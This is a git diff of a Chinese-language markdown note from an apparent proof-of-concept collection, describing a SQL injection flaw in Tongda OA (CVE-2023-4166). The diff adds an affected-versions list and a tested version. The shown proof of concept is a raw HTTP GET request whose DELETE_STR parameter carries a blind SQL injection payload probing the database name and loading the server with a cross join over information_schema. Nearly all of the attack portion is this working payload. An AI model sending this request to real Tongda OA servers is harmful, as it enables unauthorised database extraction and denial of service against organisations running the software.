diff --git a/通达OA sql注入漏洞 CVE-2023-4166.md b/通达OA sql注入漏洞 CVE-2023-4166.md
index 16fa6b2..0d72818 100644
--- a/通达OA sql注入漏洞 CVE-2023-4166.md	
+++ b/通达OA sql注入漏洞 CVE-2023-4166.md	
@@ -1,6 +1,13 @@
 ## 通达OA sql注入漏洞 CVE-2023-4166
+复现版本：11.7版
 
-``` poc
+## 影响版本
+```
+通达OA ≤ v11.10，v2017
+```
+
+## poc
+``` 
 GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
 Host: 127.0.0.1:8080
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0